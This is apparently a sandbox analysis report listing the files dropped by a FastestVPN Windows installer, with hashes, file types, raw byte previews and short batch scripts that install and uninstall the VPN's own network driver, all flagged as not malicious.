                                                                                                                    SHA-256:98CD2F27906E4FD7FA7FBE0EC747BADEF710BCA736A1AC5EE883756F2185818C
                                                                                                                    SHA-512:6B2E2BA90B33F6658C903203317299057C83545D46549D468CDAA1D6F7BCE887310411B9BF6EEA9D19C214A2041BB5E14FD9395CC4E2FE9FC31AB03B88A75019
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......>.d.z...z...z.....~...z.........}.....}...Y@..s....A..{....A..{...Richz...........................PE..d... [.\.........."..........L.................@....................................C.....`.................................................8p..P.......H....`.......R...E..........`#..8............................(..p............ ..`............................text...d........................... ..h.rdata....... ......................@..H.data...@....@.......$..............@....pdata.......`.......,..............@..HINIT.........p.......:.............. ....rsrc...H............J..............@..B.reloc...............P..............@..B................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\install_sp.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):527
                                                                                                                    Entropy (8bit):5.160291198458603
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:E9T9FHWvxBLzOY7WCKGWXOTIHcrV2/+1Of3T96TuGWYxBoeANyW:E9T9FHWJBLz9SC8zwV2sOD997YBFnW
                                                                                                                    MD5:39B9357BA2B8B640ACFAE47275B80C56
                                                                                                                    SHA1:0A80D68131736FB29C71D66CEBED9D59258F86DB
                                                                                                                    SHA-256:76E9F6F16C00F33BE1717AE60A1FAFA0F90609508F7D613556B145E4C89D103A
                                                                                                                    SHA-512:D3144461AC37E13100BE3444586163CCB8A6B767DCD0B7A26353172FD86C06D7AC31CD209C1E472B9DCAF0D5E3CCD80AF78A15B48BE72E4AFBBCB6747338DDCB
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64..reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | find /i "Windows 7" > NUL && set OS=windows7 || set OS=windows8....xcopy /y driver\%OS%\%ARCH%\fastestvpndriver.sys %systemroot%\system32\drivers..release\nfregdrv.exe -u fastestvpndriver..release\nfregdrv.exe fastestvpndriver

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\is-CO85A.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):527
                                                                                                                    Entropy (8bit):5.160291198458603
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:E9T9FHWvxBLzOY7WCKGWXOTIHcrV2/+1Of3T96TuGWYxBoeANyW:E9T9FHWJBLz9SC8zwV2sOD997YBFnW
                                                                                                                    MD5:39B9357BA2B8B640ACFAE47275B80C56
                                                                                                                    SHA1:0A80D68131736FB29C71D66CEBED9D59258F86DB
                                                                                                                    SHA-256:76E9F6F16C00F33BE1717AE60A1FAFA0F90609508F7D613556B145E4C89D103A
                                                                                                                    SHA-512:D3144461AC37E13100BE3444586163CCB8A6B767DCD0B7A26353172FD86C06D7AC31CD209C1E472B9DCAF0D5E3CCD80AF78A15B48BE72E4AFBBCB6747338DDCB
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys....reg Query "HKLM\Hardware\Description\System\CentralProcessor\0" | find /i "x86" > NUL && set ARCH=i386 || set ARCH=amd64..reg QUERY "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" | find /i "Windows 7" > NUL && set OS=windows7 || set OS=windows8....xcopy /y driver\%OS%\%ARCH%\fastestvpndriver.sys %systemroot%\system32\drivers..release\nfregdrv.exe -u fastestvpndriver..release\nfregdrv.exe fastestvpndriver

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\is-HPLUE.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):153
                                                                                                                    Entropy (8bit):4.487708026306449
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyW+jBFWRO5Na3ymIaKn/kuD/RAKaXyXshWoXnPTHaW:hiPFvL9FHza3fxBuZaXhZbaW
                                                                                                                    MD5:2D0CB38D144B0F1A34BD6F715D697658
                                                                                                                    SHA1:65B935BEEE274E0BB6C069CB8FC1022E187ECAE2
                                                                                                                    SHA-256:DFEE16836EBD2D8E76D0EE660F9B22154A3513591061FF9EF9E540094DDEA8F6
                                                                                                                    SHA-512:472D2F8D2C58BC96C100674995A580F0EA3A60F42971A850582CEDB4B9108D42F7CE8D87410203C50EAD3F16B9CA92F3DDB1B4D543F2418FEF6259E754359987
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys..release\nfregdrv.exe -u fastestvpndriver

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\release\is-ITKUS.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):61064
                                                                                                                    Entropy (8bit):6.255909242219927
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:2/Th9sBDRdQNV0nsDMmkL/DDI6ssEtnrFqnK/Yfrc:lRMVvRkLFWtr6K/Cg
                                                                                                                    MD5:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                    SHA1:8757F8136354B7F98407CEBFE8BDA6043972D88E
                                                                                                                    SHA-256:AF36609DF5F1F9375354E68E2B8EA57059E44DEC3D089CD9EA509F0816D71294
                                                                                                                    SHA-512:922578EFA998B4B92192F3A6839059C01406997F3DBEF0DE70C7BA3F6D73CBDEA04470CD6C214778AAB59EB7602AC354750AE5D97C66286F1215BC415B273222
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zRl.>3..>3..>3.......3....l.$3....o.v3...<_.<3....y.;3..>3..q3....p.?3....z.?3..Rich>3..................PE..L....K.Q.................p...@......@.............@.................................{.......................................\...P...................................@...................................@............................................text....c.......p.................. ..`.rdata........... ..................@..@.data...|...........................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\release\is-K1359.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):159368
                                                                                                                    Entropy (8bit):6.430638214966169
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:MnVAyi4UNa5oIMLPX3CD+Y+tQJtbwhOt4SSyd7DK/+1:Msa+hPSDutIyhfq7+/k
                                                                                                                    MD5:E7C064693750D51F5AC901A0CF0A987A
                                                                                                                    SHA1:0FFE9BAE9054D779F60CE8E0E72D386401C0AF7D
                                                                                                                    SHA-256:6138C9EC5082350F9223E87991A779457662FAD1AE937ADFD7229DA509810A14
                                                                                                                    SHA-512:12E2CF49B1DA8BD4CEC556F1C816678B7E04D08ED71D94F5734DA6B73AE73E79EC09593CFCF2A27AF73C32645435CF52B127EFB8BACB94C9638249E1365A3CBB
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Jx.....................)......)..d...).."...............y...)......)......)......)......Rich............PE..L......]...........!........................................................`......8c.............................. ...........P.... ..`............@.......0......0..................................@............................................text...0|.......................... ..`.rdata...J.......P..................@..@.data...,6....... ..................@....rsrc...`.... ......................@..@.reloc...(...0...0..................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\release\nfapi.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):159368
                                                                                                                    Entropy (8bit):6.430638214966169
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:MnVAyi4UNa5oIMLPX3CD+Y+tQJtbwhOt4SSyd7DK/+1:Msa+hPSDutIyhfq7+/k
                                                                                                                    MD5:E7C064693750D51F5AC901A0CF0A987A
                                                                                                                    SHA1:0FFE9BAE9054D779F60CE8E0E72D386401C0AF7D
                                                                                                                    SHA-256:6138C9EC5082350F9223E87991A779457662FAD1AE937ADFD7229DA509810A14
                                                                                                                    SHA-512:12E2CF49B1DA8BD4CEC556F1C816678B7E04D08ED71D94F5734DA6B73AE73E79EC09593CFCF2A27AF73C32645435CF52B127EFB8BACB94C9638249E1365A3CBB
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Jx.....................)......)..d...).."...............y...)......)......)......)......Rich............PE..L......]...........!........................................................`......8c.............................. ...........P.... ..`............@.......0......0..................................@............................................text...0|.......................... ..`.rdata...J.......P..................@..@.data...,6....... ..................@....rsrc...`.... ......................@..@.reloc...(...0...0..................@..B........................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\release\nfregdrv.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):61064
                                                                                                                    Entropy (8bit):6.255909242219927
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:2/Th9sBDRdQNV0nsDMmkL/DDI6ssEtnrFqnK/Yfrc:lRMVvRkLFWtr6K/Cg
                                                                                                                    MD5:9333F583E2D32A47276DCEC7C2391FD2
                                                                                                                    SHA1:8757F8136354B7F98407CEBFE8BDA6043972D88E
                                                                                                                    SHA-256:AF36609DF5F1F9375354E68E2B8EA57059E44DEC3D089CD9EA509F0816D71294
                                                                                                                    SHA-512:922578EFA998B4B92192F3A6839059C01406997F3DBEF0DE70C7BA3F6D73CBDEA04470CD6C214778AAB59EB7602AC354750AE5D97C66286F1215BC415B273222
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......zRl.>3..>3..>3.......3....l.$3....o.v3...<_.<3....y.;3..>3..q3....p.?3....z.?3..Rich>3..................PE..L....K.Q.................p...@......@.............@.................................{.......................................\...P...................................@...................................@............................................text....c.......p.................. ..`.rdata........... ..................@..@.data...|...........................@....rsrc...............................@..@........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\sp\uninstall_sp.bat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:DOS batch file, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):153
                                                                                                                    Entropy (8bit):4.487708026306449
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3:mKDD2G2FuyW+jBFWRO5Na3ymIaKn/kuD/RAKaXyXshWoXnPTHaW:hiPFvL9FHza3fxBuZaXhZbaW
                                                                                                                    MD5:2D0CB38D144B0F1A34BD6F715D697658
                                                                                                                    SHA1:65B935BEEE274E0BB6C069CB8FC1022E187ECAE2
                                                                                                                    SHA-256:DFEE16836EBD2D8E76D0EE660F9B22154A3513591061FF9EF9E540094DDEA8F6
                                                                                                                    SHA-512:472D2F8D2C58BC96C100674995A580F0EA3A60F42971A850582CEDB4B9108D42F7CE8D87410203C50EAD3F16B9CA92F3DDB1B4D543F2418FEF6259E754359987
                                                                                                                    Malicious:false
                                                                                                                    Preview:@echo off..@cd /d %~dp0..start sc stop fastestvpndriver..del %systemroot%\system32\drivers\fastestvpndriver.sys..release\nfregdrv.exe -u fastestvpndriver

                                                                                                                    C:\Program Files\FastestVPN\Resources\ssleay32.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):585512
                                                                                                                    Entropy (8bit):6.002108518534667
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12288:kavF2w273DAx5at3y6/c1M94lh7NX06qkX/0IT7/5:kAF2w2jE5k3y6/cyinNXy4B7h
                                                                                                                    MD5:2C700BBCDA59BFE2CD7EBF9BAA5B2626
                                                                                                                    SHA1:72EFAA0E8652FB4ADC21E4484E7F63AA968F39D2
                                                                                                                    SHA-256:C9C59AB5B3369B97C85129F160491BD743B68DE1AD41EE6EEBA69009407B54E7
                                                                                                                    SHA-512:0911C7FED9653D9D50BAD7219E45778367DE4B105B5079A8011415F65465B80782A98A503CEBFB309997BCFB2A8620402579456565A24C69A20CBCBD0130DA20
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....$.Y...........!..............................`n.........................p......L.....@... .........................m).......3...0..@....................@...)........................... .......................................................text...T...........................`.P`.data....-..........................@.`..rdata..............................@.`@.bss....d.............................`..edata..m).......*...t..............@.0@.idata...3.......4..................@.0..CRT....,...........................@.0..tls.... .... ......................@.0..rsrc...@....0......................@.0..reloc...)...@...*..................@.0B/4...........p......................@..B/19......l.......n..................@..B/31...../............v..............@..B/45.....|...........................@..B/57..........0......................@.0B/70.....2....@..........

                                                                                                                    C:\Program Files\FastestVPN\Resources\status.dat (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):277
                                                                                                                    Entropy (8bit):5.0491979415178765
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6:ShdEdI5KGdXrSwCoXV+hn5A59eT5U+hLQsPti5FtEEs6EsctB6WEsF2WEsF+v:6dEKwGxOsw7BB6S2zv
                                                                                                                    MD5:C8768E552ABCA40175C704E4AF1F030C
                                                                                                                    SHA1:7B8A3BC3310EE72006FD2C5A4D5F4FC60171C81B
                                                                                                                    SHA-256:50259EEA13E0A9CB0AC48181F8F4345E6558EE8536CC71D0F6E2F63AE9D89D33
                                                                                                                    SHA-512:09FD06DB34894F1EC79B607217DC70E204793E04C58B846DC495DC915F38C1311AC1EE0D3C5CCDE636D8A3D6CE5631EF7291D3617FB3F900FD072CEA5831B573
                                                                                                                    Malicious:false
                                                                                                                    Preview:OpenVPN STATISTICS..Updated,2023-09-03 07:45:36..TUN/TAP read bytes,1979..TUN/TAP write bytes,9103..TCP/UDP read bytes,15521..TCP/UDP write bytes,5150..Auth read bytes,9103..pre-compress bytes,0..post-compress bytes,0..pre-decompress bytes,204..post-decompress bytes,213..END..

                                                                                                                    C:\Program Files\FastestVPN\Resources\tapctl.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):42120
                                                                                                                    Entropy (8bit):6.157445136592099
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:tFRn6+bvfApVjLj1mFU6rrFqyO9K/Yfryu:tFFepV3j1mm6/pO9K/COu
                                                                                                                    MD5:F6AFD5499FCC5D464085AD889BAE09B7
                                                                                                                    SHA1:287C540655FCED0C09DDA2D9C4EADD3F3E210B17
                                                                                                                    SHA-256:6EDA54D746C092A45395399319DFC878E5674C84FAB8147821524A0042C03F47
                                                                                                                    SHA-512:BFD5ED90D0F16A2F0BCC22B0E847D5781A7B11D6912A51CDC8FCAAD80BF191D821418F7544BF52BF6E1AAA47D06A5442601543E9C25B2352D4E23AFC0C4668F9
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......kT../5../5../5..&M<.#5..}@..-5..}@..=5..}@..%5..}@..,5..;^..$5../5..p5...@..,5...@P..5...@...5..Rich/5..........PE..d.....b.........."......0...H.......4.........@....................................e.....`.................................................4g..........@............v..........8...P]...............................]..8............@...............................text..../.......0.................. ..`.rdata...3...@...4...4..............@..@.data...H............h..............@....pdata...............j..............@..@.rsrc...@............n..............@..@.reloc..8............t..............@..B................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\tapinstall.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):94856
                                                                                                                    Entropy (8bit):5.499392443352034
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:RmYSYxGfIZnRnD6M7EFOUakPhtUn6KXF4O7Wm1xK/CpcW:QYFZnRDGdvPXU6K1RWmPK/4h
                                                                                                                    MD5:834EE5DA601A6C78C43C64F6C282682F
                                                                                                                    SHA1:03920B402B787CA53CD79A66B0B611C899B91F3E
                                                                                                                    SHA-256:754B61DA108CC9379585E18DDCE90A8092C1B17DA5D922A6E8D6CE84A90B0F87
                                                                                                                    SHA-512:C4A6A49D1EE316FB9EA399487EA17DD813C0A611F473F4FD054D07F6D5C6BB786D40FA478254A499DB3E1D5F0AFDA3B72651EF097945D0C3AA9F0D83D9C0ED06
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........V........-.....;......<.......+....%......S....%......2....~......,.....)...Rich..........PE..d...<..W..........".................Tv..............................................I.....@.......... ..................................................h.......l....D.......p..........................................................X............................text............................... ..`.data...............................@....pdata..l...........................@..@.rsrc...h...........................@..@.reloc..z....p.......B..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\tapinstallWin32.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (console) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):89736
                                                                                                                    Entropy (8bit):5.522767465825831
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:3urhT5+KybRpnE8K74kca7NerB8iXpYmRRXvdi82BSOe9oKSJ2SLD0BEZWkAzrF9:w+KY04RMmSCYmBiF4O7WTn8K/CI
                                                                                                                    MD5:2CC3AC572A2170108BABD019F0BFE779
                                                                                                                    SHA1:AF962245CE32D5801A380FF7F6B8C87AC7772AB2
                                                                                                                    SHA-256:755315DFCC9C72CBE4EB33AF34E9AAC0BD1324C6942F4B56AD9FE0135E1A9299
                                                                                                                    SHA-512:891D545DDF35BF8C650FE8EB48A5E5F6F7C50036E42BE893417AF2EF886EB37C5BEEE9DD838A8F020728E4BAE803F2753CC8F6DD7958DD31B5B39DAED7EF464B
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........L..."..."..."....."......"......"...#.S."....."..`\..."......"......".Rich..".................PE..L...#.pK.................l..........Td.......................................P......0a....@...... ..........................lm..........p............0.......@...... ...............................0...@............................................text... j.......l.................. ..`.data...4............p..............@....rsrc...p............v..............@..@.reloc.......@.......&..............@..B........................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\tapinstallWin64.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):93832
                                                                                                                    Entropy (8bit):5.485112927422894
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:fP2K0pa0WfEYp9Y/XQhpgnbP212YCJpDhiF4O7WGkK/CH8:fePOYe4bu1epDh8RWGkK/b
                                                                                                                    MD5:8E7EE7C3876683902475753519681407
                                                                                                                    SHA1:75FACB7F9C59B284F97956E799E57FB0F606C49D
                                                                                                                    SHA-256:6D5041A8EF796C66BA151D8FCFAFDD96BCAA99B57D2777897FD25A87A5E41E13
                                                                                                                    SHA-512:523EBF3A4DF9F6D299E72079DEF0A0DA9127601796D9AA613B70AD2F66EE2166F4F8F75083F47E67FFFD892A09FA437F3B12BD1B27065200E90F8617E3E83727
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........X...9...9...9...AF..9...AW..9...A@..9...9..f9...AP.9...AY..9.......9...AG..9...AB..9..Rich.9..........................PE..d.....pK.........."......~...........s.......................................p............@.......... ......................................X}..........p.......T....@.......`......0................................................................................text....|.......~.................. ..`.data...x...........................@....pdata..T...........................@..@.rsrc...p...........................@..@.reloc..p....`.......>..............@..B................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\vcruntime140.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (DLL) (console) x86-64, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):99976
                                                                                                                    Entropy (8bit):6.499161413646961
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:yWHL+4KsAzAfadZw+1Hcx8uIYNU5U9H0Q8ecbjt1BHK/CeS:yWr/Z+jPYNV9H0Q8ecbjt1BHK/pS
                                                                                                                    MD5:85054BAF6D0A7D31A18183ACC4CBA133
                                                                                                                    SHA1:24830C002FFAB31102DFB674B52AFFD74E90E708
                                                                                                                    SHA-256:EC86F182F55A338E26F598638F18422E474C6D6C651E1D9955D0303254BF6DDD
                                                                                                                    SHA-512:B6B7D9115ED1D734D7C0EB09E7C7C96EEC29E2C59B8943586976F2182E46B660B99C1947ACF2C1DEB75595771A78B7405FDDBB989A2F06CF88E4AD3D8824055A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......*..qn.."n.."n.."...#l.."g.."e.."n.."B.."<..#c.."<..#~.."<..#q.."<..#o.."<.g"o.."<..#o.."Richn.."................PE..d.....`.........." .........`......p................................................>....`A.........................................B..4....J...............p..X....X..............h,..T............................,..8............................................text............................... ..`.rdata...@.......B..................@..@.data...@....`.......@..............@....pdata..X....p.......D..............@..@_RDATA...............P..............@..@.rsrc................R..............@..@.reloc...............V..............@..B........................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\Resources\wireguard.exe (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):8184456
                                                                                                                    Entropy (8bit):6.15917051663501
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:98304:AD3K0YyOAYcd0ZLpNu6JmM1W8YcTpOG7ZE78O:ALzUwsFYc9OG7ZE78O
                                                                                                                    MD5:5850A25689FA1B36CD6B76E2E7F6BDB3
                                                                                                                    SHA1:299CEBD4CD448239BF5094DCC0632100287C0B85
                                                                                                                    SHA-256:803870B4FCC1A8C0675EE1D5AA5DEB4132514974CDF0F8F7BA40035377FFDCFA
                                                                                                                    SHA-512:F64A196D0FE937112604D7B0CFE2099928987ECEAA650728C88ECE9BAEF288AF2E4BCDD52D3199D8787290F5071287DAFA5DC6FD44775E52CA1E04237411888F
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d.........].......".......'..........=........@.......................................}...`... ...............................................c.|.... d.t.............|...... c.....................................................`SY.@............................text.....'.......'................. ..`.rdata..PC1...(..D1...'.............@..@.data... ....PY......0Y.............@....idata..|.....c.......\.............@....reloc....... c.......\.............@..B.symtab.......d.......]................B.rsrc...t.... d.......].............@..@........................................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\SQLitePCLRaw.batteries_v2.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):22184
                                                                                                                    Entropy (8bit):6.685941492131545
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:1hKpVrz0BH8aZqmgBTKDAATaYIYikfF0FP27NBY3Yuv+8N:1hKpVcB15KO7aBYimOK/Y/+g
                                                                                                                    MD5:AAA9DA932D572F5B22CBEE1B4E479ED6
                                                                                                                    SHA1:D708727DED1298610C2E3D72C8792F12FC60CFF2
                                                                                                                    SHA-256:73B55714DB609A1712FD4FC420CE18441E41BB7E3E94D73B11AE28C68CCB1124
                                                                                                                    SHA-512:40A8E2CB18FB2D68F0945B6FBF259FA9331327116A6D21A85AAE6AA12600F7FDD3737B5E84E0AE04C584442016882926D9201E16C25EB937838C8BAC24358779
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0.."...........A... ...`....... ...............................6....`..................................A..O....`..`............,...*...........@..T............................................ ............... ..H............text...."... ...".................. ..`.rsrc...`....`.......$..............@..@.reloc...............*..............@..B.................A......H........'.......................@.......................................(....*..0...............(....o........(....s....*...0............(.......(....s....(....*6r...p..(....*.0.._.......s!.....s....}.....{....r...p.r'..p(....o.........."...s....(....%~....(....,..{....o....s....z*..0..#.......(......-...(....*..3...(....*s....z...(....%~....(....,.r=..p.r'..p(....s....z*..0..#.......(......-..(....&*..3..(....&*s....z..0..7..........~....%-.&~..........s....%.....(.........

                                                                                                                    C:\Program Files\FastestVPN\SQLitePCLRaw.core.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):61608
                                                                                                                    Entropy (8bit):6.287396747644481
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:SmOGveifSTtyXEQ3nPGLb4PFvSMJCD2j+/IfHq1wJd9P581Icm/DskdFPYi3K/Ye:yLTtyXEQ3+bO6U+QlrPi1QLsgFP73K/h
                                                                                                                    MD5:A760AEACBE049C8C0D5DD66DD9EAA7A0
                                                                                                                    SHA1:975896722F2D5A365621EE407ACE3E3294CFC1C3
                                                                                                                    SHA-256:C3618538771839CBC6A855E41A1664D5B86313070FC75CA1B58EF74D007DBDE4
                                                                                                                    SHA-512:64CF42CF493686A4286320819D10A37CC075088509866E867A341651B7762FFD88750417E3AD72E6FA78908DD17C66363752E5AA2955066BA4930889D36AE3CA
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b..........." ..0.................. ........... ....................... .......L....`.....................................O.......0................*..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................H.......@@..<...........|.................................................(....*..(....*..(....*.......*Z~....,.*.oB...&......*.......*b~....-.r...ps....z~....*.(#...o8...*.0..........(#......o9.....(....Q*6.(.....(%...*.0..........(#........o:.....(....Q*R.(.......(....('...*:(#......o?...*N.(.....(.....()...*2(#....o;...*2(#....o<...*..o....*..o....*2(#....o=...*2(#....o>...*6(#.....o....*...0..........s"......}"....{"...-...+....#...s.......(1...*6(#.....o....*6..(....(3..

                                                                                                                    C:\Program Files\FastestVPN\SQLitePCLRaw.provider.dynamic_cdecl.dll (copy)

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):75432
                                                                                                                    Entropy (8bit):6.020201057914009
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:mjb2NmqeZsE64aEKbMsZG0EN3ovewf8KnWE7LJ/ZEBiUN7TK/P:mjbUmqWL3M/WkV2ZNHK/P
